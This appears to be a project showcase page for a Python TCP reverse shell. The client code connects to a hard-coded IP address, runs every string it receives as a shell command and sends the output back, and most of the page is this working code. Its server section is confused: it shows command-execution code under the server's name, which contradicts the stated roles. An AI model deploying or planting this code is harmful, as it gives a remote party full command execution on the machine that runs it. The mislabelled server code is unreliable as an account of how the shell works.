Reverse Shell

Reverse
shell.

A TCP-based reverse shell allowing remote command execution on the client's machine, illustrating raw socket handling, subprocess control, and directory navigation.

Project Overview

Implements a TCP-based reverse shell allowing remote command execution on the client's machine, illustrating raw socket handling, subprocess control, and directory navigation.

Python TCP Sockets Subprocess Security

Server Implementation

The server sets up a listener socket:

def createSocket():
    global s, host, port
    host = ''
    port = 9999
    s = socket.socket()

After binding and listening, it accepts incoming clients and forwards them to socketAccept() for command dispatch.

Once connected, it waits for commands from the client:

data = s.recv(1024)
if data[:2].decode() == 'cd':
    os.chdir(data[3:].decode())
if len(data) > 0:
    cmd = subprocess.Popen(data.decode(), shell=True,
                           stdout=subprocess.PIPE,
                           stdin=subprocess.PIPE,
                           stderr=subprocess.PIPE)
    output = cmd.stdout.read() + cmd.stderr.read()
    s.send(str.encode(output.decode() + os.getcwd() + '> '))

Commands are executed via subprocess.Popen, and combined stdout/stderr is sent back along with the updated working directory.

Client Implementation

The client initiates the reverse connection:

s = socket.socket()
host = '10.48.64.73'
port = 9999
s.connect((host, port))

It enters a loop receiving commands from the server and executing them locally:

while True:
    data = s.recv(1024)
    if data[:2].decode() == 'cd':
        os.chdir(data[3:].decode())
    if data:
        proc = subprocess.Popen(data.decode(), shell=True,
                                stdout=subprocess.PIPE,
                                stdin=subprocess.PIPE,
                                stderr=subprocess.PIPE)
        out = proc.stdout.read() + proc.stderr.read()
        s.send(str.encode(out.decode() + os.getcwd() + '> '))
        print(out.decode(), end='')

Key Takeaways

  • Bi-directional command/control over raw TCP sockets.
  • Subprocess management for remote shell execution.
  • Dynamic working directory handling via remote cd commands.